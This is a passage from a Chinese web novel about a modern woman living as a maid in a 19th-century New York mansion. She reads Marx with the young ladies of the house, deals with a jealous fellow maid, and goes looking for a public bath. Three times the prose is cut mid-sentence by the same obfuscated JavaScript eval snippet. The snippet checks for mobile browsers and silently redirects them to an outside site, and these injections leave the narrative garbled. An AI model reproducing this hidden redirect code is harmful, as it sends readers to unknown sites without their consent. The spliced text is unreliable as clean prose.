埃莉诺立刻摊开一张纸。「我列了些想读的书。有之前一直在读的《草叶集》，还有大书房里那套《美国历史》。另外，」她目光扫过一侧书架上那些厚重的典籍，「我也想看看这些 ‘绅士之书’。」 米芙拿起书单看了看，嘴角泛起一丝讥诮：「绅士之书？不如叫它们‘男性之书’更贴切。男人们著书立说，定下规则，却心安理得地将占人群另一半的女人排除在知识高墙之外，仿佛我们只配谈论裙摆和甜点。他们把整整一半的头脑闲置不用，还自以为聪明，这对文明本身就是一种伤害。迟早他们会意识到这有多愚蠢。」 米芙总有惊人之语，恐怕她自己都并不清楚自己说出了多么富有远见的话语。 然后她拿起书单，看向安妮：「安妮，你呢？你还没说过想读什么书。」 「安妮……」 安妮半响才回过神来，说出了自己想过的一些书目。「我想读《资本论》，听说它讲透了资本和劳动的关系；还有《英国工商业的发展》，了解英国工商业成功案例……」 自己读《资本论》是假，让埃莉诺和米芙读是真，因为里面的很多思想观点已被包括安妮在内的21世纪的人们消化接受，对当下的人来说还十分的惊世骇俗。马克思大概5年前在欧洲发行了第一卷，引发了许多批判和抗议。让两位女孩跟上时代，或者跟上她习惯的思考方式，更“进步”一些，将会对她或者说她们的未来大有裨益。 而乔治·波特所写的《英国工商业的发展》，只是一个开端。当下人人都梦想创造商业奇迹，一夜暴富，在没有各种营销号和知识付费大师的情况下，这些人都愿意买书研究，类似的书籍，书店有很多。所以图书出版市场效益可观。她只是挑选了一本比较具有代表性的书先读，先弄明白十九世纪下叶，工商业最发达的英国采取什么样的工厂管理制度、市场竞争策略，企业家们都在做些什么。为自己未来的设想夯实基础。 安妮报完书名，书房里静了一瞬。 米芙说，「我母亲以前说过，先得懂如何画圈，才能打破那个圈。安妮，我母亲应该会很喜欢你。」 埃莉诺坐在主位上，用蘸水笔吸取墨汁：「在我们之间，或许只有我最胆小，过去我最大胆的想法，就是读什么都好，只要不再读《贵族礼仪大全》就好。」 三人发出会心一笑。 「所以我们必须一起读，还得有方法。」安妮也坐了下来，不过是坐在离桌子中心最偏远的位置，屁股只落了三分之一的位置，方便有人进来时，她随时起身。 「对，既然有了一起学习的机会，我们更该有个章法。」米芙附和道。 安妮接着说，都是在她脑中盘桓很久的内容。「我想，我们可以把书分分类。实用类，像《英国工商业的发展》；思想类，像《实证哲学教程》；文学类，像《草叶集》。每人每类列出最想读的三本，重合的优先读。」 三人就着这个话题，又聊了很久。越说越具体，米芙甚至“抢”过埃莉诺的蘸水笔，把笔记本推到中间，快速记下了他们讨论的学习制度草稿： 1.书单分类：实用类（经济、技术、管理）、思想类（哲学、政治、社会）、文史类（历史、小说、诗歌、传记等），每人每类提3本，每月补充调整； 2.投票规则：先读重合率最高的书籍，不重合书籍用投票方式排序，每人1票，平票时按“需求优先”——比如，优先照顾埃莉诺完成《美国历史》的知识储备； 3.时间安排：晚8点-10点，8点-9点共读+做笔记，9点-10点复习+讨论； 4.学习分工：米芙（领读，提前准备案例资料）、埃莉诺（重点分享学习心得，整理笔记）、安妮（旁听，暂时）。 定好制度的那个晚上，她们没立刻读书，而是先调整各自的书单。 埃莉诺眼睛始终亮得惊人，拿起笔在纸上飞快记录。 很快她的书单出来了。 实用类选了《英国工商业的发展》、《女士管家指南》、《纽约百业黄页》； 思想类选了《论Z由》、《哲学基础》； 文史类坚持《草叶集》，并加了《莎士比亚戏剧集》《一千零一夜》？？？？ 当然，她还是把玛蒂尔达夫人明确要求学习的《美国历史》塞入实用类中。 过了一会儿，米芙和安妮的书单也列好。 米芙的实用类重点选了《资本论》第一卷和几本德文工业管理著作，思想类加了《社会学研究》、《实证哲学教程》，文史类则选了《萌芽》和《汤姆叔叔的小屋》。 安妮的实用类与米芙重合了《资本论》第一卷，另选了《穷人法》和《家庭经济学》，思想类选了《社会契约论》，文史类选了《艰难时世》，《爱尔兰移民故事》和《美国历史》。 「重合的有《资本论》第一卷、《英国工商业的发展》和《美国历史》。」埃莉诺用笔圈出这三个书名，「我们就从这三本开始……」 「咚咚！」是叩门声。 三人看了过去，不是梅布尔夫人。 伊迪丝抱着小狗墨西哥，站在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437076|184715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门口温柔地笑着，「孩子们，该睡觉了！你们不想因为无法保证睡眠，而被我亲爱的姐姐取消这个学习活动吧。」 大家才惊觉，已经过了十点。 / 接下来的日子，由昂贵鲸油点亮的书房成了一个奇特的思维工坊。 米芙清晰地朗读着“商品”、“使用价值”、“交换价值”这些陌生术语； 埃莉诺则快速在自己的笔记本上记录，并将自己从姑妈，范里安先生那里听来的，报纸上看到的情况与之应证； 安妮一边听着，蘸水笔在粗纸上飞快地移动，画出一个简单的图示： 她先在纸上画了几笔简单的火柴。然后向左画了一个箭头，箭头顶端写下「生火=使用价值」；又向右画了一个更粗的箭头，箭头旁边又画了几枚硬币和小物件，在连线上，她写下「=交换价值」。 当米芙讲到“剩余价值”这个概念时，安妮的思维导图立刻显现出优势。她在那几根火柴上方勾勒了一把火焰，火焰的焰心标注“必要劳动”，焰心外标注 “剩余劳动”。 这个源于她前世知识的、化繁为简的思维导图，让抽象的概念瞬间变得可触可感。埃莉诺看得目不转睛，米芙也露出见猎心喜的目光。于是她们又停了下来，反复看了，问了很久。 「就像吉米，」安妮解释道，「他劈柴2个小时，可能前1个小时劈的柴，价值就相当于他的工钱。后面1个小时劈的柴，创造的价值就被……拿走了。」 她指着图上“剩余劳动”那部分。「在这儿，就是从火焰中心向外燃烧的过程。」 安妮见她们仍然充满新奇，便尝试慢下来，教她们画。 这次她画了几个简笔小人，代表不同行业的工人，然后用一个大圈圈起来，旁边写上“工人阶级”。她又画了另一个圈，代表“工厂主”或“资本”，两个圈之间有箭头指向，表示某种关系。 「安妮你真是……你总是让人预想不到，」埃莉诺已经找不到的合适的词来描述她眼前的安妮，「单纯通过文字，我的理解是平面的，抽象的；通过这种简图……」 「是思维导图。」安妮小声纠正。 「对。通过思维导图，我瞬间更理解了书籍所讲的概念，只是变成立体的，具体的。我似乎，比以前能更快搞明白复杂的概念。」 「是的，」米芙肯定地说，「安妮，你是一个宝藏。」 安妮放下蘸水笔，看着纸上那些交织的线条和图形，轻声说：「你们也是宝藏。埃莉诺，你能放下身份和地位，平等地向一个女仆学习；米芙，你学识丰富却谦逊，能放下固有的想法，快速理解并接受新的观念。能和你们一起……陪伴你们学习，是我的幸运。」 …… 「那我们得定个复习计划，」米芙接过话头，看向埃莉诺，做出了一个意味深长的表情，「尤其是《美国历史》，里面的年代和事件需要记忆。安妮，你那‘思维导图’或许能帮上忙，我们一起把重大事件按时间线和因果关系画出来，会比埃莉诺死记硬背有效得多。」 「好主意！」埃莉诺几乎是两手握拳跳了起来，完全忘了淑女仪态，随即认真保证道，「你们放心，我会自己先把《美国历史》的章节预习好，把脉络理清楚，争取不耽误大家宝贵的学习时间。」 「咚咚！」是叩门声。 这次门外是梅布尔太太。 31.玛莎的嫉妒 玛莎手中的铜盆哐当一声撞在栏杆上。 传话的小听差挤眉弄眼：「你爹又来了，在后门等着呢。」 她怎么又把这事儿忘了！每月月初，她那个像牛虻闻到牛粪味儿一样的老爹，总会准时找上门来。 后门的石阶上凝着露水，湿漉漉的。玛莎刚拐过墙角，一股混合着劣质酒精和汗臭的气味就扑面而来，呛得她倒退了一步。她的老爹，歪斜地靠在栏杆外，破洞的外套里露出黑乎乎的棉絮，一双浑浊的眼睛在看到她时，骤然放出光。 「哎哟，我的乖女儿，可算是等到你了！他咧嘴笑着，露出黄黑的牙齿，伸手就来抓玛莎的胳膊，那手指缝里嵌满了黑泥，「酒馆的比尔催债催的太紧，快把你爹逼死了，多少给点，让爹周转周转。」 玛莎甩开他，只觉得指尖沾上了某种黏腻恶心的东西。「上月才给过你二十美元！那是我攒了两个月的钱！」 老爹脸一垮，唾沫星子喷过来：「那点钱够干什么？你在这大宅子里吃香喝辣，就眼睁睁看你亲爹在外面饿死冻死？」 他突然拔高嗓门，「要是你没钱，那我就进去找你那些体面的夫人太太要去！问问他们，是怎么教的女仆，连自己亲爹的死活都不管了！」 玛莎的心直直地沉了下去。她太了解她这个爹了，撒泼耍横是他的拿手好戏。要是真让他闹到施耐德管家面前，最后倒霉丢工作的，只会是她。她咬紧嘴唇，手伸进围裙内侧缝着的小口袋，哆嗦着从口袋中掏出几枚硬币——里面是她打算攒着买帽子的钱。 她捏出几个硬币扔过去：「拿去！就这些了！再多一个子儿都没有！」 老爹攥紧硬币，眼神扫过她围裙，突然伸手扯了一下：「这料子还行，不如给我换酒钱……」 「滚开！」玛莎用力推他。老爹没防备，踉跄着撞在身后的石墙上，嘴里不干不净地骂着，终究还是晃晃悠悠地走了，临走前还没忘回头威胁一句：「下个月我还来，你最好给我准备得足足的！」 看着那个猥琐的背影消失在巷口，玛莎全身的力气仿佛都被抽空了。她靠着栏杆滑坐在地。 洗衣房某扇窗户啪地关上。她知道明天仆役间都会传遍这事。 / 阳光透过高窗，在木地板上投下几块光斑。 玛莎跪在书房门口，先用马鬃刷清理地板缝隙的灰层，再用棉布团蘸着蜂蜡，仔细地给地板打蜡。地板与布团摩擦发出单调的“沙沙”声，直至呈现温润的光泽。 玛莎最喜欢这个活儿，简单不需要动脑子，还有点成就感。 在重复的动作里，她可以将早上那个牛虻带来的厌恶感抛到脑后。渐渐地，她哼起了调子，是安妮私下里哼哼的调子： 「秒针转动DI-DI-DA，小小时差DI-DI-DA；我早茶月光洒在你头发，平行的画DI-DI-DA；几时交叉DI-DI-DA，下个路口再见吧……」 恰好此时，埃莉诺小姐，和那个女秘书弗里曼来到这层。她们尽量避开已经清理打蜡的地方，因为不得不踩在某块打过蜡的地板上，埃莉诺小姐还连声说了好几句，「对不起，对不起。」 「没关系。」她可真是礼貌的小姐，玛莎心里想着，就看到安妮站在她们后面。 安妮投来一个微笑。 等女士们先进了书房，玛莎拉住安妮，问她「你被安排来打扫书房啦？」 语气里还有点羡慕，谁不知道打扫书房是个轻巧活儿。 安妮摇摇头，「埃莉诺小姐和弗里曼小姐，想要重新整理小书房已有书目的名单。让我来打下手。」 「可……」 安妮好像知道她要说什么。「夫人和施耐德先生同意的。」 「安妮，快来。」女秘书弗里曼在房间里面唤，语气显得很亲近。 然后，玛莎就看见，安妮大大方方地走进了书房。 她重新跪在地板上，又开始了之前的工作，清理地板缝隙，然后上蜡。但是这次，她无法沉浸在重复而单调的劳动中。 她频频望向虚掩的书房门，里面传来安妮和小姐们的交谈和轻笑声。 「玛莎，发什么呆。」 梅布尔太太的声音自身后响起。 玛莎浑身一僵，慌忙想站起来，却因为慌乱碰倒了脚边装蜂蜡的锡罐，黏稠的蜡油泼洒出来，在刚刚擦亮的地板上留下一滩难看的黄渍。 「看看你干的好事。」梅布尔太太声音里没有一丝温度，「伊迪丝小姐等会儿要练钢琴，你想让她摔跤？」 「对不起，梅布尔太太！我马上弄干净！」玛莎抓起手边的粗布就去擦，可蜡油已经迅速凝固，越擦越花。 「教的规矩全忘了？」梅布尔太太狠狠剜了她一眼。 / 阁楼宿舍里，小油灯的光线昏黄如豆，勉强照亮着女仆们手上的活计。 缝补袜子的缝补袜子，织围巾的织围巾。 但几乎都围在安妮床边，聊东问西。 「安妮，你以后下午也不用干活了吗？」露西兴奋地问，好似那个进书房的是她。 「今天是例外，因为需要整理书目。以后只晚上下工后去。」 …… 「哇。快说说书房里都有什么书？」 「弗里曼都教埃莉诺小姐什么？她真有学问吗？」 「你在里面，都干什么？也是读书？」 …… 安妮一一回答。 「书房书很多都是新的，小姐在学美国历史。弗里曼小姐，是真有学问。小姐问什么，她都能回答上来，还能指出在书上哪一页。」安妮声音温和，「我哪能读，就是在旁边沏茶，帮忙干点杂事儿。」 「天哪！那你不是天天都能见到那些漂亮的硬皮书了？」其中一个女仆盘腿坐在床上，语气向往，「我除了圣经没摸过别的书。」 「安妮你可真是太走运了！」露西放下手里的针线，「我还没进过书房哩，以前都是高级女仆才能进。听说书房地毯软乎乎，踩上去像踩在云彩上，是不是真的？」 「地毯很厚很软。」安妮回答，满足她们所剩不多的好奇心，「下午的时候，阳光会从大窗户照进来，落在书页上，金灿灿的。」 「你能提前下工真好。」某个女仆说，「我们忙到深夜，胳膊都抬不起来，你却能早点休息。」 安妮只是微笑，没有接话。其实在书房里贡献脑力，也非常辛苦。当然这是另外一层意义上的辛苦。说出来，不仅不能获得理解，恐怕还会引来白眼。 露西帮她解围，「安妮可厉害了。来纽约前就念过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16463072|184715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书。夫人都认可了她的学问……她迟早是要做大人物的哩！」 安妮拿露西又爱又恨。不知道她这番话是帮自己，还是给自己拉仇恨。 …… 玛莎面朝墙壁躺着，被子蒙住了头。她想起刚来时，因为偷瞟了一眼书房，就被当时一位高级女仆骂：「低等女仆不配看」。 她来到布鲁克公馆已经三年，安妮才来三个月就能陪小姐看书！ 凭什么！ 凭什么安妮就能轻易得到一切，而自己拼尽全力，却只能被牢牢困在永无止境的粗活、还不清的债务里。 妒火激得她发疯，玛莎猛地坐起。把所有人吓了一条。 露西问：「做噩梦了？」 「没事。」玛莎又蒙头躺下。 被子里空气闷热，但她怕人看见自己扭曲的表情。 她睁眼到天亮。 / 清晨玛莎眼下乌青走路发飘。 她听从安排，去倒煤渣水。路过宅邸西翼时，看见安妮和露西在那里扫地。 安妮直腰捶背检查着一早上的成果，脸上的笑容格外——刺眼。 几乎是在她自己都没反应过来的瞬间，她的手臂已经扬了出去——盆里滚烫的煤渣水“哗啦”一声，尽数泼洒在安妮刚刚扫干净的地板上！黑色的污水迅速蔓延开来，煤渣和油污像一张丑陋的蛛网，覆盖了那片洁净。 所有人都愣住了，包括玛莎自己。 露西惊叫：「玛莎！你干什么！」 玛莎心脏狂跳，嘴上却硬撑着：「手滑了。」 「手滑能泼这么远？这么一大盆水全泼上去了？我们辛苦一早上！」 女仆们闻声围过来，低声议论。玛莎脸一阵红一阵白，僵硬地站在那里。 安妮看了眼玛莎，将她浑浑噩噩，虚张声势，但微微发抖的样子看在眼里。她在内心叹了口气：「没关系，能清理掉。」 她跟露西耳语了几句。很快两人跑开，又回来。一个抱来半筐引火的锯末，一个借来白醋。 安妮把细碎的锯末撒在污水上。等锯末将大部分污渍吸附住后，她用扫帚把它们扫到一旁。接着又拿起白醋，一点点倒在残留的污痕上，用干净的粗布轻轻擦拭。 那些看起来顽固的黑色痕迹，渐渐变淡，最后只剩下一点淡淡的水印。 她见其他女仆一直看着，没有散去的意思，便做了一点解释，声音出乎意料地平静。「这就像做饭时，在锅沿撒上一把面粉，面粉会把多余的油吸走，变成一坨一坨的。锯末就像干燥的面粉，它是由无数个有缝隙的小木屑组成的。这些缝隙把地板上的水分和油污吸走后，也会黏在一起，变成一块一块的，我们只需要把结块的锯末扫掉，脏东西就大部分被清除了。」 「这办法灵！」露西赞叹，学着一起清理。 玛莎看着安妮侧影，心里像堵了块石头。她想说对不起，话到嘴边又咽回。最后僵硬地跟着露西一起，蹲在地上清理起来。 安妮没有和她厮打，也没有骂她，没有多余的批评，没有长篇大论的道理，甚至没有愤怒。 她们之间那层可悲的隔阂，明明已经解开了！又被她死死关上了。 眼泪毫无预兆地涌了上来，迅速模糊了视线。玛莎赶紧用手捂住脸。 32.（营业液加更）「时代能不能等等我们呢」 深夜的布鲁克公馆静悄悄的，只有小书房里还亮着灯。 安妮小心地拨了拨烛芯，让光线更亮些。埃莉诺趴在桌上，笑得肩膀直抖。 「你们……你们真该亲眼看看，」她好不容易抬起脸，眼角还闪着泪花，「布朗夫人今天下午那副尊容。」 她猛地坐直，模仿起来：下巴高高抬起，视线傲慢地垂向下方，一只手还故作优雅地虚抚着并不存在的项链。「她用那种能甜腻的调调说：『我们家可怜的露辛达呀，真是离不开她的法国女教师了。光是发音课，一周就要上足足五次呢。』」 埃莉诺学得惟妙惟肖，连那拿腔拿调的鼻音都模仿得十分逼真，「说这话时，她那下巴抬得呀，我真怕她一个不小心，后脑勺会直接磕到背后的壁炉架上！」 米芙揉揉发酸的手腕，她今天整理了一整天文书，晚上又和安妮她们研读了两大章学习材料，眼皮都快撑不开了。「然后呢？玛蒂尔达夫人就在旁边听着？她没说什么吗？」 「姑妈当时只是慢悠悠地品着茶，」埃莉诺立刻切换了角色，她挺直背脊，端起面前空了的茶杯，做出一种矜持而沉稳的姿态，嘴角勾起一丝若有若无的笑意，活脱脱就是玛蒂尔达夫人的样子。 「等布朗夫人炫耀够了，她才放下茶杯，声音不高，却让整个茶桌都安静了下来。」埃莉诺学着她姑妈那种清晰又带着点漫不经心的口吻，「她说：『说起来，女孩儿家多学些知识总是好的。不像我们埃莉诺，最近竟迷上了历史，总缠着我问东问西。』」 埃莉诺环视了一圈，彷佛眼前的安妮和米芙，就是茶会上那些竖着耳朵听的小姐们。 「然后，姑妈话锋一转，像是随口一提似的，」她压低声音，模仿着那种不经意的考校口吻，「『对了，亲爱的，你前几天读到的那个……叫什么来着？哦，1812年那场几乎没怎么流血就结束的著名围城战？说给夫人们听听，我也记不清细节了。』」 安妮把温好的茶水，倒入两人的杯中：「是底特律围城战吗？」 「没错！」埃莉诺眼睛发亮，「米芙和你上周刚给我讲过的。」 「当时桌上一下子安静极了，」埃莉诺回到自己的表演口吻，「那几位小姐，包括布朗夫人在内，全都像被施了定身法。有的赶紧低头摆弄裙子，有的假装被点心呛到咳嗽，眼神躲躲闪闪，没一个人接话。」 她顿了顿，脸上露出一抹混合着得意和调侃的笑容，「然后我就把底特律围城战，布洛克将军怎么用心理战术吓唬赫尔将军，美军怎么一枪没放就向加拿大的英军投降的事儿，简单说了说。你们是没看见那些小姐们的表情，就好像我突然用希腊语背诵了一段史诗似的，又惊讶又茫然，还带着点……好像我是什么怪物的样子。」 她拿起茶杯喝了一口水，语气变得轻松而略带自嘲：「姑妈倒是满意极了，脸上那笑容藏都藏不住。不过我看呀，今后，那几位小姐的宴会邀请名单上，我的名字怕是就要被划掉咯。」 米芙打着哈欠站起来，收拾好文具：「我得回去了，明天还要早起替玛蒂尔达夫人写回信。」 书房门轻轻合上，只剩下安妮和埃莉诺。小狗墨西哥不知道什么时候跑了进来，蜷在壁炉边打盹。 埃莉诺还有点兴奋。她似想到了什么，从书桌抽屉里拿出一小叠精致的邀请函和拜帖，卡片边缘还烫着金。 「安妮，」她将卡片在桌上摊开，语气带着点无奈，「你上次提过的那个什么’一个塞尔’法子，教教我好不好？瞧，今天又收到两张，谁家什么时候来的，送了些什么，该回什么礼，我脑子里都快成一团浆糊了。」 她指了指旁边一个摊开的本子，上面密密麻麻地写着几行字，有些地方涂改了，「我之前就这么记的，眼看就要乱了套。」 安妮接过本子看了看，心里立刻明白了。这种流水账式的记录，查找起来非常麻烦，极易出错。在她来的那个时代，哪怕是小学生也会用表格来清晰整理信息，这几乎是种本能。 她取过一张崭新的白纸，又拿起一旁的尺子。 「我们换个法子试试。」安妮将尺子按在纸上，用笔靠着边缘，画下第一条笔直的竖线。「我们可以把纸面分成几个格子。」 她一边画一边说，「第一栏，记下客人的姓名。」画好一条后，她又移动尺子，「第二栏，写下到访的日期。」接着是第三条线，「第三栏，记下他们赠送的礼物。」最后一条线落下，「第四栏，空出来，用来备注我们需要回赠什么，或者后续要注意的事。」 随着线条的完成，原本空白的纸张上出现了一个规整的、带有四个清晰区域的表格。安妮在顶行依次写上栏目名称，字迹远没有经过专门训练的埃莉诺或米芙漂亮，但异常工整。 「您看，」安妮将纸转向埃莉诺，「这样是不是一眼就看清楚了？新来的邀请，就按格子填进去。需要找哪位夫人的记录时，顺着名字一列往下看，很快就能找到，不容易漏掉，也不会弄混。」 埃莉诺俯身仔细看着那张纸。「就这么画几条线？」 她拿起另一张纸和尺子，学着安妮的样子，小心翼翼地在纸上画着，虽然线条有些歪斜，但格子的雏形已然出现。「真是太聪明了！就这么分门别类地放好！」她脸上浮现出恍然大悟的喜悦，「这样肯定不会再像上回那样，把送给约翰逊夫人的珊瑚胸针，差点错送到怀特夫人手里了！安妮，你怎么想到的？」 安妮微微一笑，心中闪过现代办公室里无处不在的电子表格界面，但那些画面已经如此遥远。她只是轻声说：「我们那儿都会。您多用几次，习惯了就好。」 埃莉诺用力点头，已经开始兴致勃勃地将一张拜帖上的信息，尝试着填写进她刚刚画好的格子里去了。 作为交换，安妮请埃莉诺教她上流社会正式的就餐礼仪。桌底下的活儿她都会，但是桌面上的活儿，她是真不会。 「餐叉要从外往里用，」埃莉诺将学习文具当作餐具，在桌布上依次排开，指尖轻轻点着最外侧的那把蘸水笔，「这道小的用于前菜，然后是鱼叉，最里面这把才是主菜用的。」她拿起直尺，优雅地模拟着喝汤的动作，「喝汤时勺子要这样，从里向外舀，汤滴会落回碗中央，不会溅到衣服上。」 安妮学着她的样子，手指比划着。她做得很好，但眉头却微微蹙起，轻声问道：「埃莉诺小姐，你看的那些礼仪书上，有说为什么设定这些细致的规矩吗？最初是为了让一切更优雅，还是……也是为了区分身份呢？」 埃莉诺正准备纠正她手腕的角度，听到这话，动作顿住了。她抬起眼，有些困惑地看向安妮：「区分身份？为什么这么想？」 「比如，」她的声音很轻，像是怕惊扰了谁，「大宅里，不同身份的人使用不同的餐具，遵守不同的礼节。这是为了维持秩序，还是无形中也划下了一道线呢？」 书房里骤然安静下来。壁炉里的木炭偶尔爆开一点火星。 这是埃莉诺习以为常、从未深思过的问题。她缓缓放下手中的直尺。沉默了片刻，她才开口，语气里带着一种从未有过的迟疑：「我……我从来没从这个角度想过问题。从小到大，母亲、姑妈、所有的礼仪老师都只是告诉我，这是教养，是传统，是淑女必须掌握的学问。」 她的目光有些游离。「被你这么一问，我倒真有些说不清了。」 「在我想象的那个未来，」安妮的声音很轻，「人们也会讲究礼仪，但那是对所有人的尊重，不是因为身份不同。」 埃莉诺托着腮：「就像你上次说的，女人可以当医生，黑人能上学堂那样的未来吗？」 「比那更好。甚至黑人女性都能成为总统。」安妮眼睛发亮，「人们看重的是能力，不是出身。就像埃莉诺小姐，你聪明好学，不该因为是个女孩就被限制只能学插花。当然，如果你想，你可以研究钢琴，绘画，插画，糕点，穿戴，但是如果你不想，你可以研究别的。」 小狗墨西哥醒了，摇着尾巴凑过来。埃莉诺把它抱到膝上，轻声说：「安妮，我其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16469732|184715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实也不知道自己想要什么，我过去从未清晰地思考过自己要成为什么样的人。我之前去了瓦萨学院，那里的女孩那么优秀，但他们的最高期待好像也不过是当个女子学校的老师。你所描述的内容，包括你说话时肯定的语气，有时候真让我羡慕。甚至……让我觉得害怕。呵呵。要真能活在那样的时代该多好，看看除了这些，女孩子还能做什么。」她的手指无意识地梳理着小狗的毛，「有时候我觉得，如果我们能在一代人之内创造出那样的时代就好了，虽然……不可能。」 「是啊，时代能不能等等我们呢。」 安妮也伸手摸了摸小狗的脑袋。 书房里弥漫着一种难得的安宁。她觉得这是个成熟的时机。 她说：「埃莉诺小姐，您知道吗，有时候我最羡慕的，不是书房里的书。」 埃莉诺看着她，墨西哥也看着她。好像都在等她说下去。 「是时间。」安妮终于说出了这个词，「我有很多想学的东西，想知道的事，想体验的东西。我甚至想去参与创造那个我梦想中的未来，哪怕一代人不够，我能让下一代人站在我的肩头，继续。可是我，每天清晨四点就要起床做活，等能稍微休息一会儿的时候，天已经黑透了，手指累得连翻书的力气都没有。」 她注意到埃莉诺的睫毛轻轻颤动了一下。 「那时候我就在想，如果每天能再多一个小时，哪怕只有半个小时，可以自由支配的时间，去做自己想做的事，该有多好。每个人都有自己的责任，除了做一个女仆，我是否可以承担更大的责任呢，我甚至连尝试的机会都没有。我只是......只是有时候会觉得，时间像沙子一样从指缝里流走，而我却什么都抓不住。」 她没有提到具体的计划，没有说起那些在脑海中酝酿却尚未成形的想法。此刻，她只是单纯地描述着一个最朴素的愿望。 她知道埃莉诺听进去了。这就够了。 「不过现在这样也很好，」安妮笑着补充，「能像朋友一样和您聊天学习。」 「朋友？」埃莉诺抬起头，烛光在她眼里闪烁，「安妮，我们确实是朋友。」 墨西哥小狗跳下地，叼起安妮的围裙。两个姑娘相视一笑。 / 安妮回到阁楼。 她太需要一个热水浴了。 轻轻推开走廊尽头那扇吱呀作响的木门，一股潮湿的霉味扑面而来。这个所谓的清洗隔间狭小逼仄，墙上斑驳的水渍记录着女仆们无数个匆忙的夜晚。 露西正弯腰就着搪瓷盆擦洗，见她进来，匆匆拧干毛巾。「安妮，快点，玛莎都快把水用完了。」她侧身挤出门时，安妮瞥见她后颈还有未擦净的皂垢。 在大宅里，仆人们共用一盆水是常态，除非谁特别幸运能轮到第一个使用。 硕大的陶瓷水罐只剩小半罐冷水。安妮把水倒入盆中，水面浮起细小的杂质。她解开发髻，长发披散下来沾到后颈时，明显感觉到一层薄薄的灰尘与汗腻。这让她想起下午靠近埃莉诺小姐时闻到的淡淡玫瑰精油味，以及米芙整理袖口散出的清新皂角气。 在她们眼里，自己是个什么味道。腌入味的萝卜？ 安妮把奇怪的想法挥之脑后。看了眼摆在盆沿最便宜的那种黄色硬皂，和露西刚刚用完顺手搭在架子的毛巾，叹了口气。 也不需要脱光全身。 她先用硬皂在关键部位打了一遍泡沫。皮肤能感觉到皂体里的粗颗粒，碱性很强，洗完后手还会发干。然后浸湿毛巾，把泡沫擦掉，先是脖颈，接着是腋下、前胸、后背，最后是双脚。这个过程必须快，深夜严寒，冷水擦身容易着凉。擦完之后，清洗一遍毛巾，毛巾过处，水立刻变得浑浊。 所谓的洗澡，其实就是擦浴。 没错，安妮来到这里，还没有洗过一次真正的澡！她渴望一次真正的洗浴。 「你还要多久？」一个同屋女仆的声音从门外传来，带着困倦的不耐。 「马上就好。」安妮加快动作。 33.（营业液加更大章）五美分的幻灭 难得的半天假期。 安妮计划去公共浴室，彻底清洗和放松一下。就像前世自己累了，就会带一本书去汤泉呆一天，做做水疗，泡泡澡，什么都不想。如果再约上几个姐妹，还能在里面一边吃水果切，一边玩牌，一边聊天。比任何旅行或娱乐活动，都更能让她放松。 「公共浴室？」 当安妮在早餐后，悄悄将这个提议告诉露西时，露西正费力地啃着一块面包，脸上写满了诧异，「安妮，你疯了吗？」她压低了声音，仿佛在说一件极其奢侈又略带羞耻的事情，「五美分！就为了洗一次澡？」 「露西，想一想。」安妮打算最后做一次邀请尝试，如果露西实在不愿意，就自己一个人去，「我听说公共浴室很大，不像我们阁楼的小隔间，而且它有热水，有很多水，可以真正地把自己洗干净。像个淑女一样香喷喷的。」 她的语言像在诱惑贪嘴的小孩。她的鼻尖，隐隐浮现埃莉诺和米芙身上淡淡的香味。 露西看着安妮眼中闪烁的、近乎祈求的光芒，又想起自己后颈时常洗不净的污垢，犹豫了一下，最终还是被那份对「淑女」的微弱憧憬打败了，叹了口气：「好吧，好吧，陪你去。但愿那五个美分花得值。」 和梅布尔太太告了假，离开布鲁克公馆。两个年轻的女仆怀着一种近乎朝圣的心情，走向了位于城市边缘地带的公共浴室。 她们一路打听，终于走到了目的地。 公共浴室的建筑比她们想象的要简陋许多，一座低矮的红砖砌成的房子，墙面布满斑驳的水渍。门口没有任何醒目的标识，只有一个褪色的、画着一个模糊浴缸图案的木牌歪斜地挂着。 排队的人群从门内一直蜿蜒到街角，大多是些衣衫褴褛的工人、面色疲惫的主妇，还有几个紧紧抓着母亲衣角、脸上脏兮兮的小孩。 男人们随意许多，有些甚至就在不远处的水井边，直接用桶打上冷水，粗鲁地冲洗着上身，引来路人不经意的一瞥。安妮和露西下意识地低下头，拉了拉自己朴素的头巾和围裙，混入了女性队列中。 队伍移动得很慢。空气中弥漫着湿热的蒸汽，以及一种类似漂白粉的刺鼻味道，并不好闻，甚至有些闷得人头晕。安妮原本期待的、热水带来的洁净芬芳，已经被眼前现实浇灭，她现在只希望浴室里面干净一些。 好不容易挪到门口，一个面色阴沉、体型壮硕的妇人坐在一张高脚凳上，粗声粗气地收取费用。「每人五分！快点！」 